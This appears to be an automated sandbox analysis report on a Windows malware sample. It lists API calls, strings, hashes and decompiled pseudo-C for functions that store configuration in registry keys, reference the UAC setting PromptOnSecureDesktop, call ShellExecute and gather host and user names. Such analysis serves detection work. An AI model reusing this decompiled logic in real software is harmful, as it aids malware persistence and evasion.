ShellExecuteA.SHELL32(00000000,00000000,?,00000000,00000000,00000000), ref: 004091E1

Strings

PromptOnSecureDesktop, xrefs: 0040914E, 00409193, 00409198, 004091B5

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: File$HandleModulewsprintf$CharCloseCreateExecuteNamePathShellTempWritelstrlen
String ID: PromptOnSecureDesktop
API String ID: 3857584221-2980165447
Opcode ID: 69a42f15c0bdb603acf61cfacf6d4b07552c73bbecf68ccfe74a45dc0564b67a
Instruction ID: 6acb945c628b875356ea86accac8c7b18cb61426f44bb7d0566a1afba52fbd3a
Opcode Fuzzy Hash: 69a42f15c0bdb603acf61cfacf6d4b07552c73bbecf68ccfe74a45dc0564b67a
Instruction Fuzzy Hash: 8F016DB69001187BD720A7619D49EDF3A7C9B85705F0000A6BB09E2080DAB89AC48F68

Uniqueness

Uniqueness Score: -1.00%

Function 0054AA11, Relevance: 9.2, APIs: 4, Strings: 2, Instructions: 247stringCOMMON

Download Yara Rule

APIs

lstrlen.KERNEL32(?), ref: 0054AACE

Strings

localcfg, xrefs: 0054AD5B
, xrefs: 0054AB9C

Memory Dump Source

Source File: 00000012.00000002.390911110.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Yara matches

Similarity

API ID: lstrlen
String ID: $localcfg
API String ID: 1659193697-2018645984
Opcode ID: e25caa720acfe6edeb1ed6cfdeeca69567da959aa4b90cf3eb174d19221d8523
Instruction ID: 209609788378d54ab69131bd73bc329b0e00a44142269b3cbccad64949fe8816
Opcode Fuzzy Hash: e25caa720acfe6edeb1ed6cfdeeca69567da959aa4b90cf3eb174d19221d8523
Instruction Fuzzy Hash: A6713A72EC4305BBEFA18B98DC89FEE7F69FB4030DF244426F905A6091DA618D848717

Uniqueness

Uniqueness Score: -1.00%

Function 0040E8A1, Relevance: 9.2, APIs: 4, Strings: 2, Instructions: 172
stringCOMMON

Download Yara Rule

C-Code - Quality: 98%

			E0040E8A1(void* __edx, char _a4, CHAR* _a8, CHAR* _a12, CHAR* _a16) {
				CHAR* _v8;
				signed int _v12;
				intOrPtr _v16;
				CHAR* _v20;
				intOrPtr _v24;
				CHAR* _v28;
				CHAR* _v32;
				intOrPtr _v36;
				char _v37;
				char _v52;
				char _v56;
				intOrPtr _t87;
				intOrPtr _t95;
				int _t126;
				void* _t136;
				void* _t138;
				CHAR* _t139;
				void* _t146;
				char _t150;
				void* _t154;
				void* _t158;
				void* _t159;

				_t146 = __edx;
				_v20 = 0;
				E0040DD05();
				_t150 = _a4;
				_t158 = E0040DD84(_t150, _a8);
				_pop(_t138);
				if(_t158 != 0) {
					L2:
					_t16 = _t158 + 0x30; // 0x30
					_v8 = E00402419(_t138, _t16,  *((intOrPtr*)(_t158 + 0x24)), _a12);
					_t21 = lstrlenA(_a12) + 1; // 0x1
					_t136 = _t21;
					_t87 = lstrlenA(_a16) + _t136 + 1;
					_v16 = _t87;
					if(_v8 == 0) {
						_t139 =  *((intOrPtr*)(_t158 + 0x24));
						_v12 = _v12 & 0x00000000;
						_v8 = _t139;
						_t152 = _t139;
					} else {
						_t126 = lstrlenA(_v8);
						_t152 = _v8 - _t136 - _t158 + 0xffffffd0;
						_v12 = _t126 + _t136 + 1;
						_t87 = _v16;
						_v8 = _v8 - _t136 - _t158 + 0xffffffd0;
					}
					if(_v12 == _t87) {
						E0040EE08(_t152 + _t158 + 0x30, _a12, _t136);
						E0040EE08(_t152 + _t136 + _t158 + 0x30, _a16, _v16 - _t136);
						_t77 = _t158 + 0x30; // 0x30
						_t95 = E004024C2(_t77,  *((intOrPtr*)(_t158 + 0x24)), 0);
						if( *((intOrPtr*)(_t158 + 0x20)) != _t95) {
							 *((intOrPtr*)(_t158 + 0x20)) = _t95;
							 *0x4136c0 = 1;
						}
					} else {
						_t41 = _t87 + 0x24; // 0x24
						_t154 = E0040EBCC( *((intOrPtr*)(_t158 + 0x24)) - _v12 + _t41);
						if(_t154 != 0) {
							_t43 = _t158 + 0xc; // 0xc
							E0040EE08(_t154, _t43,  &(_v8[0x24]));
							 *((intOrPtr*)(_t154 + 0x18)) =  *((intOrPtr*)(_t158 + 0x24)) - _v12 + _v16;
							_v20 =  &(_v8[_t154]);
							E0040EE08( &(( &(_v8[_t154]))[0x24]), _a12, _t136);
							E0040EE08( &(_v20[_t136 + 0x24]), _a16, _v16 - _t136);
							E0040EE08( &(_v20[_v16 + 0x24]),  &(( &(_v8[_v12]))[_t158 + 0x30]),  *((intOrPtr*)(_t158 + 0x24)) - _v8 - _v12);
							_t66 = _t154 + 0x24; // 0x24
							 *((intOrPtr*)(_t154 + 0x14)) = E004024C2(_t66,  *((intOrPtr*)(_t154 + 0x18)), 0);
							E0040DF4C( *((intOrPtr*)(_t158 + 0x24)) - _v8 - _v12, _t154);
							E0040EC2E(_t154);
							_v20 = 1;
						}
					}
					L10:
					E0040DD69();
					return _v20;
				}
				_v56 = _t150;
				_v28 = 0;
				_v24 = 3;
				lstrcpynA( &_v52, _a8, 0x10);
				_v37 = 0;
				_v32 = 0;
				_v36 = E004024C2( &_v20, 0, 0);
				E0040DF4C(_t146,  &_v56);
				_t158 = E0040DD84(_t150, _a8);
				_t159 = _t159 + 0x18;
				if(_t158 == 0) {
					goto L10;
				}
				goto L2;
			}

0x0040e8a1
0x0040e8ac
0x0040e8af
0x0040e8b7
0x0040e8c0
0x0040e8c3
0x0040e8c6
0x0040e917
0x0040e91a
0x0040e932
0x0040e93a
0x0040e93a
0x0040e943
0x0040e947
0x0040e94a
0x0040e96a
0x0040e96d
0x0040e971
0x0040e974
0x0040e94c
0x0040e94f
0x0040e95c
0x0040e95f
0x0040e962
0x0040e965
0x0040e965
0x0040e979
0x0040ea3a
0x0040ea4f
0x0040ea59
0x0040ea5d
0x0040ea68
0x0040ea6a
0x0040ea6d
0x0040ea6d
0x0040e97f
0x0040e985
0x0040e98f
0x0040e994
0x0040e9a1
0x0040e9a6
0x0040e9b8
0x0040e9c0
0x0040e9c7
0x0040e9dd
0x0040ea02
0x0040ea0c
0x0040ea16
0x0040ea19
0x0040ea22
0x0040ea28
0x0040ea28
0x0040e994
0x0040ea77
0x0040ea77
0x0040ea83
0x0040ea83
0x0040e8d1
0x0040e8d4
0x0040e8d7
0x0040e8de
0x0040e8ea
0x0040e8ed
0x0040e8f5
0x0040e8fc
0x0040e90a
0x0040e90c
0x0040e911
0x00000000
0x00000000
0x00000000

APIs

Part of subcall function 0040DD05: GetTickCount.KERNEL32 ref: 0040DD0F
Part of subcall function 0040DD05: InterlockedExchange.KERNEL32(004136B4,00000001), ref: 0040DD44
Part of subcall function 0040DD05: GetCurrentThreadId.KERNEL32 ref: 0040DD53

Part of subcall function 0040DD84: lstrcmpiA.KERNEL32(80000011,00000000,00000108,80000001,00000000,0040DE62,80000001,80000005,00000108,00000000,000000E4,00000000,?,0040E3A7,000000F0), ref: 0040DDB5

lstrcpynA.KERNEL32(?,00401E84,00000010,localcfg,?,flags_upd,?,?,?,?,?,0040EAAA,?,?), ref: 0040E8DE
lstrlenA.KERNEL32(?,localcfg,?,flags_upd,?,?,?,?,?,0040EAAA,?,?,00000001,?,00401E84,?), ref: 0040E935
lstrlenA.KERNEL32(00000001,?,?,?,?,?,0040EAAA,?,?,00000001,?,00401E84,?,0000000A), ref: 0040E93D
lstrlenA.KERNEL32(00000000,?,?,?,?,?,0040EAAA,?,?,00000001,?,00401E84,?), ref: 0040E94F

Strings

localcfg, xrefs: 0040E8AB
flags_upd, xrefs: 0040E8A7

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: lstrlen$CountCurrentExchangeInterlockedThreadTicklstrcmpilstrcpyn
String ID: flags_upd$localcfg
API String ID: 204374128-3505511081
Opcode ID: 798df9beac1de9cfe9593c9a5200f7c4a69fe291944888fed16d288fbbf397d9
Instruction ID: 4a5a107d8aad74d0ab91cd578fe54778089971c235e688b3f19fdb3cdc8cf470
Opcode Fuzzy Hash: 798df9beac1de9cfe9593c9a5200f7c4a69fe291944888fed16d288fbbf397d9
Instruction Fuzzy Hash: A5514F7290020AAFCB00EFE9C985DAEBBF9BF48308F14452EE405B3251D779EA548B54

Uniqueness

Uniqueness Score: -1.00%

Function 0054E8A4, Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 96stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0054DF55: GetCurrentThreadId.KERNEL32 ref: 0054DFA3

lstrcmp.KERNEL32(00410178,00000000), ref: 0054E8E3
lstrcpyn.KERNEL32(00000008,00000000,0000000F,?,00410170,00000000,?,00546111), ref: 0054E939
lstrcmp.KERNEL32(?,00000008), ref: 0054E972

Strings

A, xrefs: 0054E8AF, 0054E8B6, 0054E91F, 0054E981
A, xrefs: 0054E949, 0054E94E
A, xrefs: 0054E989

Memory Dump Source

Source File: 00000012.00000002.390911110.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Yara matches

Similarity

API ID: lstrcmp$CurrentThreadlstrcpyn
String ID: A$ A$ A
API String ID: 2920362961-1846390581
Opcode ID: 22b7ec265cbf58d9e118b1c9ae896798d4c4cc7fc0edb460ff72d5a9b3fd5feb
Instruction ID: 7ce1d91865a2690b7100383060d05fd84dd1321c97573c33082df73243a139e2
Opcode Fuzzy Hash: 22b7ec265cbf58d9e118b1c9ae896798d4c4cc7fc0edb460ff72d5a9b3fd5feb
Instruction Fuzzy Hash: FC31CC32A04306DFCF718F25C88A7D67FE4BB05328F10892AE65587591E370E884CB81

Uniqueness

Uniqueness Score: -1.00%

Function 00546DF7, Relevance: 9.1, APIs: 6, Instructions: 84COMMON

Download Yara Rule

APIs

IsBadCodePtr.KERNEL32 ref: 00546E02

Memory Dump Source

Source File: 00000012.00000002.390911110.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Yara matches

Similarity

API ID: Code
String ID:
API String ID: 3609698214-0
Opcode ID: dbd61df3ebb78cc6fa2ed7637639bc7d17aa9fbedb66480432ceb7f56d018bc4
Instruction ID: 80755639d4ae48507576c1dd5cb053c1980ad8762401be1d1358e295e4638fcb
Opcode Fuzzy Hash: dbd61df3ebb78cc6fa2ed7637639bc7d17aa9fbedb66480432ceb7f56d018bc4
Instruction Fuzzy Hash: C2218E7A104115FFDB109BA0FC49EDF7EECFB4A768B208425F502D10A1EB708A50A675

Uniqueness

Uniqueness Score: -1.00%

Function 0040DD05, Relevance: 9.0, APIs: 6, Instructions: 34
threadsleepCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040DD05() {
				long _t4;
				long _t10;

				_t10 = GetTickCount();
				while(InterlockedExchange(0x4136b4, 1) != 0) {
					if(GetCurrentThreadId() !=  *0x4136b8) {
						if(GetTickCount() - _t10 >= 0x2710) {
							 *0x4136bc =  *0x4136bc & 0x00000000;
						} else {
							Sleep(0);
							continue;
						}
					}
					L7:
					_t4 = GetCurrentThreadId();
					 *0x4136bc =  *0x4136bc + 1;
					 *0x4136b8 = _t4;
					return _t4;
				}
				goto L7;
			}

0x0040dd17
0x0040dd41
0x0040dd2c
0x0040dd37
0x0040dd4c
0x0040dd39
0x0040dd3b
0x00000000
0x0040dd3b
0x0040dd37
0x0040dd53
0x0040dd53
0x0040dd59
0x0040dd62
0x0040dd68
0x0040dd68
0x00000000

APIs

GetTickCount.KERNEL32 ref: 0040DD0F
GetCurrentThreadId.KERNEL32 ref: 0040DD20
GetTickCount.KERNEL32 ref: 0040DD2E
Sleep.KERNEL32(00000000,?,751443E0,?,00000000,0040E538,?,751443E0,?,00000000,?,0040A445), ref: 0040DD3B
InterlockedExchange.KERNEL32(004136B4,00000001), ref: 0040DD44
GetCurrentThreadId.KERNEL32 ref: 0040DD53

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CountCurrentThreadTick$ExchangeInterlockedSleep
String ID:
API String ID: 3819781495-0
Opcode ID: 00222842cf4b27377529e63430db8cbc0b0fb89ac28641eb4cfa7891be51bad4
Instruction ID: 5047c4a85d7ce053583ecb6bfb553561e79882e3d1eaa06aec664d00f8baf4e0
Opcode Fuzzy Hash: 00222842cf4b27377529e63430db8cbc0b0fb89ac28641eb4cfa7891be51bad4
Instruction Fuzzy Hash: 1AF0E971604204AFD7505FA5BC84BB53FA4EB48353F008077E109D22A8C77455898F2E

Uniqueness

Uniqueness Score: -1.00%

Function 0054C52C, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 182threadCOMMON

Download Yara Rule

APIs

GetTickCount.KERNEL32 ref: 0054C69D
InterlockedIncrement.KERNEL32(0054C734), ref: 0054C6FE
CreateThread.KERNEL32(00000000,00000000,0040B535,00000000,?,0054C730), ref: 0054C711
CloseHandle.KERNEL32(00000000,?,0054C730,00413588,00548A60), ref: 0054C71C

Strings

localcfg, xrefs: 0054C52D

Memory Dump Source

Source File: 00000012.00000002.390911110.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Yara matches

Similarity

API ID: CloseCountCreateHandleIncrementInterlockedThreadTick
String ID: localcfg
API String ID: 1026198776-1857712256
Opcode ID: 7930164416072ce379d69f2024e67a12fb5078e265013c4e4f79f9c65834da75
Instruction ID: 4708db4b4cf24ff26327d140245e492692033e42a2cbed91e213feb59c1b0ef3
Opcode Fuzzy Hash: 7930164416072ce379d69f2024e67a12fb5078e265013c4e4f79f9c65834da75
Instruction Fuzzy Hash: 3C516BB1A01B418FC7A49F69C5C456ABFE9FB88308B51993EE18BC7A90D774F840CB10

Uniqueness

Uniqueness Score: -1.00%

Function 004080C9, Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 146
registryCOMMON

Download Yara Rule

C-Code - Quality: 93%

			E004080C9(int* __ecx) {
				int _v8;
				void* _v12;
				int _v16;
				char _v20;
				char _v52;
				char _v312;
				void* _t27;
				void* _t31;
				char* _t35;
				char* _t42;
				char* _t45;
				intOrPtr* _t49;
				intOrPtr _t52;
				intOrPtr _t57;
				void* _t60;
				intOrPtr _t63;
				void* _t65;
				void* _t68;
				CHAR _t70;
				intOrPtr _t71;

				_t56 = __ecx;
				_v8 = 0;
				 *0x412c3c = 0;
				 *0x412c38 = 0;
				if(E00406EC3() != 0) {
					_t27 = E0040704C(0x410264, 0, 0,  &_v312,  &_v52);
					_t65 = _t65 + 0x14;
					if(_t27 <= 0 || _v312 == 0 || _v52 == 0) {
						goto L20;
					} else {
						_t35 = E00402544(0x4122f8,  &E004106AC, 0x2e, 0xe4, 0xc8);
						_t68 = _t65 + 0x14;
						if(RegOpenKeyExA(0x80000001, _t35, 0, 0x101,  &_v12) != 0) {
							L19:
							E0040EE2A(_t56, 0x4122f8, 0, 0x100);
							_t65 = _t68 + 0xc;
							goto L20;
						}
						if(RegQueryValueExA(_v12,  &_v312, 0,  &_v16, 0,  &_v8) != 0 || _v16 != 1 || _v8 <= 0) {
							L15:
							_t42 =  *0x412c3c; // 0x0
							if(_t42 == 0) {
								goto L18;
							}
							E0040EC2E(_t42);
							 *0x412c3c = 0;
							goto L17;
						} else {
							_t45 = E0040EBCC(_v8);
							_pop(_t56);
							 *0x412c3c = _t45;
							if(_t45 == 0) {
								L18:
								RegCloseKey(_v12);
								goto L19;
							}
							_t56 =  &_v8;
							if(RegQueryValueExA(_v12,  &_v312, 0,  &_v16, _t45,  &_v8) != 0) {
								goto L15;
							}
							_t49 =  &_v312;
							_t60 = _t49 + 1;
							do {
								_t57 =  *_t49;
								_t49 = _t49 + 1;
							} while (_t57 != 0);
							_t52 = E0040EBCC(_t49 - _t60 + 1);
							_pop(_t56);
							 *0x412c38 = _t52;
							if(_t52 == 0) {
								goto L18;
							}
							E0040EF00(_t52,  &_v312);
							L17:
							_pop(_t56);
							goto L18;
						}
					}
				} else {
					E00407EE6(_t56);
					L20:
					_t70 =  *0x4121a8; // 0x0
					if(_t70 != 0) {
						_t71 =  *0x4121a4; // 0x0
						if(_t71 == 0) {
							_t31 = E0040675C(0x4121a8,  &_v20, 0);
							_t61 = _t31;
							if(_t31 != 0) {
								_t63 = _v20;
								 *0x4122d4 = E004024C2(_t61, _t63, 0);
								 *0x4121a4 = _t63;
								E0040EC2E(_t61);
							}
						}
					}
					return 1;
				}
			}

0x004080c9
0x004080d7
0x004080da
0x004080e0
0x004080ed
0x0040810b
0x00408110
0x00408115
0x00000000
0x00408130
0x00408151
0x00408156
0x00408167
0x00408216
0x0040821d
0x00408222
0x00000000
0x00408222
0x0040818b
0x004081f7
0x004081f7
0x004081fe
0x00000000
0x00000000
0x00408201
0x00408206
0x00000000
0x00408198
0x0040819b
0x004081a0
0x004081a1
0x004081a8
0x0040820d
0x00408210
0x00000000
0x00408210
0x004081aa
0x004081c2
0x00000000
0x00000000
0x004081c4
0x004081ca
0x004081cd
0x004081cd
0x004081cf
0x004081d0
0x004081d8
0x004081dd
0x004081de
0x004081e5
0x00000000
0x00000000
0x004081ef
0x0040820c
0x0040820c
0x00000000
0x0040820c
0x0040818b
0x004080ef
0x004080ef
0x00408225
0x00408225
0x0040822b
0x0040822d
0x00408233
0x0040823f
0x00408244
0x0040824b
0x0040824d
0x00408259
0x0040825e
0x00408264
0x00408269
0x0040824b
0x00408233
0x00408273
0x00408273

APIs

RegOpenKeyExA.ADVAPI32(80000001,00000000,?,?,00000000,00000101,?,?,?,?,751443E0,00000000), ref: 0040815F
RegQueryValueExA.ADVAPI32(?,?,00000000,?,00000000,0040A45F,?,?,00000000,00000101,?,?,?,?,751443E0,00000000), ref: 00408187
RegQueryValueExA.ADVAPI32(?,?,00000000,00000001,00000000,0040A45F,?,?,00000000,00000101,?,?,?,?,751443E0,00000000), ref: 004081BE
RegCloseKey.ADVAPI32(?,?,?,00000000,00000101,?,?,?,?,751443E0,00000000), ref: 00408210

Part of subcall function 0040675C: SetFileAttributesA.KERNEL32(?,00000080,?,751443E0,00000000), ref: 0040677E
Part of subcall function 0040675C: CreateFileA.KERNELBASE(?,80000000,00000003,00000000,00000003,00000080,00000000,?,751443E0,00000000), ref: 0040679A
Part of subcall function 0040675C: CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000004,00000000,?,751443E0,00000000), ref: 004067B0
Part of subcall function 0040675C: SetFileAttributesA.KERNEL32(?,00000002,?,751443E0,00000000), ref: 004067BF
Part of subcall function 0040675C: GetFileSize.KERNEL32(000000FF,00000000,?,751443E0,00000000), ref: 004067D3
Part of subcall function 0040675C: ReadFile.KERNELBASE(000000FF,?,00000040,00408244,00000000,?,751443E0,00000000), ref: 00406807
Part of subcall function 0040675C: SetFilePointer.KERNELBASE(000000FF,?,00000000,00000000,?,751443E0,00000000), ref: 0040681F
Part of subcall function 0040675C: ReadFile.KERNELBASE(000000FF,?,000000F8,?,00000000,?,751443E0,00000000), ref: 0040683E
Part of subcall function 0040675C: SetFilePointer.KERNELBASE(000000FF,?,00000000,00000000,?,751443E0,00000000), ref: 0040685C

Part of subcall function 0040EC2E: GetProcessHeap.KERNEL32(00000000,'@,00000000,0040EA27,00000000), ref: 0040EC41
Part of subcall function 0040EC2E: HeapFree.KERNEL32(00000000), ref: 0040EC48

Strings

PromptOnSecureDesktop, xrefs: 0040814B, 00408150, 0040821C

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: File$AttributesCreateHeapPointerQueryReadValue$CloseFreeOpenProcessSize
String ID: PromptOnSecureDesktop
API String ID: 124786226-2980165447
Opcode ID: f41c48beccc796d99ac39a3e9a8e7a8285e468a1565ebf528982a8b7ec716e81
Instruction ID: c6ff5cc28a73505882571aaa3479db7aabb841166acb9389a4089cab67cb233b
Opcode Fuzzy Hash: f41c48beccc796d99ac39a3e9a8e7a8285e468a1565ebf528982a8b7ec716e81
Instruction Fuzzy Hash: 6641A2B1801109BFEB10EBA19E81DEF777CDB04304F1448BFF545F2182EAB85A948B59

Uniqueness

Uniqueness Score: -1.00%

Function 0054E2E5, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 92registryCOMMON

Download Yara Rule

APIs

RegCreateKeyExA.ADVAPI32(80000001,0054E4F3,00000000,00000000,00000000,00020106,00000000,0054E4F3,00000000,000000E4), ref: 0054E302
RegSetValueExA.ADVAPI32(0054E4F3,?,00000000,00000003,80000001,000FF000,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 0054E377
RegDeleteValueA.ADVAPI32(0054E4F3,?,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 0054E3A8
RegCloseKey.ADVAPI32(0054E4F3,?,?,?,?,000000C8,PromptOnSecureDesktop,?,?,?,?,?,?,?,?,0054E4F3), ref: 0054E3B1

Strings

PromptOnSecureDesktop, xrefs: 0054E323

Memory Dump Source

Source File: 00000012.00000002.390911110.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Yara matches

Similarity

API ID: Value$CloseCreateDelete
String ID: PromptOnSecureDesktop
API String ID: 2667537340-2980165447
Opcode ID: 71be46fcf4b4c1b855c56a8beb8c548cd5d416d4e28516e03566d8543fb954ad
Instruction ID: f909c9fb4eb50c005b2f2e30d91a13a01ec6a301b2644b347389c15557457565
Opcode Fuzzy Hash: 71be46fcf4b4c1b855c56a8beb8c548cd5d416d4e28516e03566d8543fb954ad
Instruction Fuzzy Hash: 07218E32A0021DBBDF219FA4EC8AEEE7FB8FF08754F008461F904E2151E6719A54DB90

Uniqueness

Uniqueness Score: -1.00%

Function 0040E095, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 92
registryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040E095(void* _a4, char* _a8, intOrPtr* _a12, char* _a16, int _a20) {
				int _v8;
				char* _v12;
				void* _v16;
				char _v48;
				intOrPtr* _t34;
				int _t50;
				void* _t52;
				intOrPtr _t53;
				int _t57;
				int _t58;
				void* _t59;
				void* _t60;
				void* _t61;

				_t57 = 0;
				if(RegCreateKeyExA(_a4, _a8, 0, 0, 0, 0x20106, 0,  &_v16, 0) != 0) {
					return 0;
				}
				_v12 = _a16;
				_t34 = _a12;
				_t52 = _t34 + 1;
				do {
					_t53 =  *_t34;
					_t34 = _t34 + 1;
				} while (_t53 != 0);
				_t55 = _t34 - _t52;
				_v8 = 0;
				if(_t34 - _t52 > 0x1c) {
					_t55 = 0x1c;
				}
				E0040EE08( &_v48, _a12, _t55);
				_t50 = _a20;
				_t61 = _t60 + 0xc;
				if(_t50 <= _t57) {
					L11:
					E0040F1ED(_v8, _t59 + _t55 - 0x2c, 0xa);
					RegDeleteValueA(_v16,  &_v48);
					RegCloseKey(_v16);
					return 0 | _t50 == _t57;
				} else {
					while(1) {
						_t58 = 0xff000;
						if(_t50 < 0xff000) {
							_t58 = _t50;
						}
						E0040F1ED(_v8, _t59 + _t55 - 0x2c, 0xa);
						_t61 = _t61 + 0xc;
						if(RegSetValueExA(_v16,  &_v48, 0, 3, _v12, _t58) != 0) {
							break;
						}
						_v12 =  &(_v12[_t58]);
						_t50 = _t50 - _t58;
						_v8 = _v8 + 1;
						if(_t50 > 0) {
							continue;
						}
						break;
					}
					_t57 = 0;
					goto L11;
				}
			}

0x0040e09c
0x0040e0ba
0x00000000
0x0040e172
0x0040e0c3
0x0040e0c6
0x0040e0c9
0x0040e0cc
0x0040e0cc
0x0040e0ce
0x0040e0cf
0x0040e0d7
0x0040e0d9
0x0040e0df
0x0040e0e3
0x0040e0e3
0x0040e0ec
0x0040e0f1
0x0040e0f4
0x0040e0f9
0x0040e13f
0x0040e149
0x0040e158
0x0040e161
0x00000000
0x0040e0fb
0x0040e0fb
0x0040e0fb
0x0040e102
0x0040e104
0x0040e104
0x0040e110
0x0040e115
0x0040e12f
0x00000000
0x00000000
0x0040e131
0x0040e134
0x0040e136
0x0040e13b
0x00000000
0x00000000
0x00000000
0x0040e13b
0x0040e13d
0x00000000
0x0040e13d

APIs

RegCreateKeyExA.ADVAPI32(80000001,0040E2A3,00000000,00000000,00000000,00020106,00000000,0040E2A3,00000000,000000E4), ref: 0040E0B2
RegSetValueExA.ADVAPI32(0040E2A3,?,00000000,00000003,80000001,000FF000,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 0040E127
RegDeleteValueA.ADVAPI32(0040E2A3,?,?,?,?,?,000000C8,PromptOnSecureDesktop), ref: 0040E158
RegCloseKey.ADVAPI32(0040E2A3,?,?,?,?,000000C8,PromptOnSecureDesktop,?,?,?,?,?,?,?,?,0040E2A3), ref: 0040E161

Strings

PromptOnSecureDesktop, xrefs: 0040E0D3

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: Value$CloseCreateDelete
String ID: PromptOnSecureDesktop
API String ID: 2667537340-2980165447
Opcode ID: 72ec9626f1a57597f212d5c6e724b1b36c6131d7c0d684d5184da94b21603b05
Instruction ID: af4a942e7328ea1ce2cdf979f73f75556816175b5134196b99f0fb832a21e1c2
Opcode Fuzzy Hash: 72ec9626f1a57597f212d5c6e724b1b36c6131d7c0d684d5184da94b21603b05
Instruction Fuzzy Hash: 2F218071A00219BBDF209FA6EC89EDF7F79EF08754F008072F904A6190E6718A64DB94

Uniqueness

Uniqueness Score: -1.00%

Function 005471AF, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 89COMMON

Download Yara Rule

APIs

GetUserNameA.ADVAPI32(?,?), ref: 005471CA
LookupAccountNameA.ADVAPI32(00000000,?,?,?,?,?,?), ref: 00547211
LocalFree.KERNEL32(?,?,?), ref: 0054726F
wsprintfA.USER32 ref: 00547286

Strings

|, xrefs: 00547203

Memory Dump Source

Source File: 00000012.00000002.390911110.0000000000540000.00000040.00000001.sdmp, Offset: 00540000, based on PE: false

Yara matches

Similarity

API ID: Name$AccountFreeLocalLookupUserwsprintf
String ID: |
API String ID: 2539190677-2343686810
Opcode ID: 0c0665c49b02975d3cb655efb4674a53369201e8279effc4896e63a6fe97e42a
Instruction ID: 68866e541932143ca81b5074939405a94a97137b7a1e6e71f9eb0119f3f660f5
Opcode Fuzzy Hash: 0c0665c49b02975d3cb655efb4674a53369201e8279effc4896e63a6fe97e42a
Instruction Fuzzy Hash: 84312B76604109BBDB01DFA8D849ADA7FACFF08354F148066B859DB101DB74D648CB94

Uniqueness

Uniqueness Score: -1.00%

Function 0040AD08, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 55
stringnetworkCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E0040AD08(CHAR* _a4) {
				char _v132;
				int _t9;
				char _t11;
				intOrPtr* _t12;
				CHAR* _t13;
				CHAR* _t14;

				_t9 = gethostname( &_v132, 0x80);
				if(_t9 != 0) {
					_t14 = _a4;
					L15:
					if( *_t14 != 0) {
						return _t9;
					}
					return lstrcpyA(_t14, "LocalHost");
				}
				_t13 = _a4;
				_t11 = _v132;
				_t12 =  &_v132;
				_t14 = _t13;
				while(_t11 != 0) {
					if(_t11 < 0x61 || _t11 > 0x7a) {
						if(_t11 < 0x41 || _t11 > 0x5a) {
							if(_t11 < 0x30 || _t11 > 0x39) {
								if(_t11 != 0x2e) {
									goto L10;
								}
							}
						}
						goto L9;
					} else {
						L9:
						 *_t13 = _t11;
						_t13 =  &(_t13[1]);
						L10:
						_t12 = _t12 + 1;
						_t11 =  *_t12;
						continue;
					}
				}
				_t9 = lstrlenA(_t14);
				if(_t14[_t9] == 0x2e) {
					_t9 = lstrlenA(_t14);
					_t14[_t9] = 0;
				}
				goto L15;
			}

0x0040ad1c
0x0040ad24
0x0040ad71
0x0040ad74
0x0040ad77
0x0040ad88
0x0040ad88
0x00000000
0x0040ad7f
0x0040ad26
0x0040ad29
0x0040ad2c
0x0040ad2f
0x0040ad55
0x0040ad35
0x0040ad3d
0x0040ad45
0x0040ad4d
0x00000000
0x00000000
0x0040ad4d
0x0040ad45
0x00000000
0x0040ad4f
0x0040ad4f
0x0040ad4f
0x0040ad51
0x0040ad52
0x0040ad52
0x0040ad53
0x00000000
0x0040ad53
0x0040ad35
0x0040ad60
0x0040ad66
0x0040ad69
0x0040ad6b
0x0040ad6b
0x00000000

APIs

gethostname.WS2_32(?,00000080), ref: 0040AD1C
lstrlenA.KERNEL32(00000000), ref: 0040AD60
lstrlenA.KERNEL32(00000000), ref: 0040AD69
lstrcpyA.KERNEL32(00000000,LocalHost), ref: 0040AD7F

Strings

LocalHost, xrefs: 0040AD79

Memory Dump Source

Source File: 00000012.00000002.390725871.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000012.00000002.390763467.0000000000414000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: lstrlen$gethostnamelstrcpy
String ID: LocalHost
API String ID: 3695455745-3154191806
Opcode ID: 8a17093f3d26383e77935b758fdadb31e519a4398e40a43d70c627834661f375
Instruction ID: 5e983dddb47fd7e780230f110e9d304ee880480ae48faa8370a3fb9af9ed59c3
Opcode Fuzzy Hash: 8a17093f3d26383e77935b758fdadb31e519a4398e40a43d70c627834661f375
Instruction Fuzzy Hash: FA0149208443895EDF3107289844BEA3F675F9670AF104077E4C0BB692E77C8893835F

Uniqueness

